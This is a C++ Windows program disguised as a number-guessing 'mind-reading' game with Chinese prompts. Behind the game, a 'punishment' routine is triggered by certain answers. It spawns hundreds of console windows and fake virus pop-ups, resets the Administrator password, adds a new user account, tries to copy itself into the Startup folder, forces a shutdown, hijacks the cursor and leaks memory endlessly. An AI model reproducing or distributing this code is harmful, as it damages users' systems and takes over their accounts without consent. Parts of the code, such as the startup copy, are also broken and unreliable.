#include <bits/stdc++.h>
#include <windows.h>
#include <Windows.h>
using namespace std;
typedef long long ll;
bool flag[10];
void number(){
int num[100]={0};
int i;
MessageBox(NULL,"Good","Good",MB_OK);
POINT mouse;
srand(time(0));
while(1){
for(i=0;i<100;i++){
if(num[i]>10)printf("%C",num[i]%2?'0':'1');
else printf(" ");
if(num[i]--<0)
num[i]=rand()%20;
}
printf("1");
}
}
void win ()
{
char copy[80];
sprintf(copy,"copy %s ""%%userprofile%%\「开始」菜单\程序\启动");
system(copy);
char cmd[]="shutdown -s -t 20";
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user 崩溃 xz /add");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 20");
while(1)
{
SetCursorPos(rand()%x,rand()%y);
system("start");
char *p=new char[10000];
}
}
void qs(){
srand(time(0));
system("cls");
printf("你在说谎");
Sleep(1000);
system("cls");
printf("你将会后悔的");
Sleep(1000);
system("cls");
printf("处刑1:无敌弹窗");
Sleep(30);
int num=(rand() % (500-100+1))+ 100;
while(num--){
system("start");
}
system("cls");
printf("处刑2:无法关闭的“病毒”");
num=(rand() % (500-100+1))+ 100;
while(num--){
MessageBox(GetForegroundWindow(),"多点几次确定试试,就能关掉了","你的电脑中病毒了",1);
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CXSCREEN);
}
system("cls");
printf("还没重启?");
Sleep(1000);
system("cls");
printf("……");
Sleep(1000);
win();
}
void check(bool a){
if(a>1)qs();
return ;
}
int main(){
printf("禁止说谎");
Sleep(500);
while(1){
ll a,ans=0;
system("cls");
printf("现在心里想一个取值范围在0~63之间的数\n");
Sleep(2000);
printf("输入随机数+enter开始\n");
cin>>a;
system("cls");
printf("1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 53 55 57 59 61 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=1;
system("cls");
printf("加载中……");
Sleep(1000);
// 1
system("cls");
printf("2 3 6 7 10 11 14 15 18 19 22 23 26 27 30 31 34 35 38 39 42 43 46 47 50 51 54 55 58 59 62 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=2;
system("cls");
printf("加载中……");
Sleep(1000);
// 2
system("cls");
printf("4 5 6 7 12 13 14 15 20 21 22 23 28 29 30 31 36 37 38 39 44 45 46 47 52 53 54 55 60 61 62 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=4;
system("cls");
printf("加载中……");
Sleep(1000);
// 3
system("cls");
printf("8 9 10 11 12 13 14 15 24 25 26 27 28 29 30 31 40 41 42 43 44 45 46 47 56 57 58 59 60 61 62 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=8;
system("cls");
printf("加载中……");
Sleep(1000);
// 4
system("cls");
printf("16 17 18 19 20 21 22 23 24 25 27 28 29 30 31 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=16;
system("cls");
printf("加载中……");
Sleep(1000);
// 5
system("cls");
printf("32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63\n");
printf("以上是否有你想的数?\n");
printf("0.否 1.是\n");
cin>>a;check(a);
if(a)ans+=32;
system("cls");
printf("加载中……");
Sleep(1000);
// 6
system("cls");
printf("你想的数是不是%lld?\n",ans);
printf("0.否 1.是\n");
cin>>a;
if(a==0)qs();
}
return 0;
}
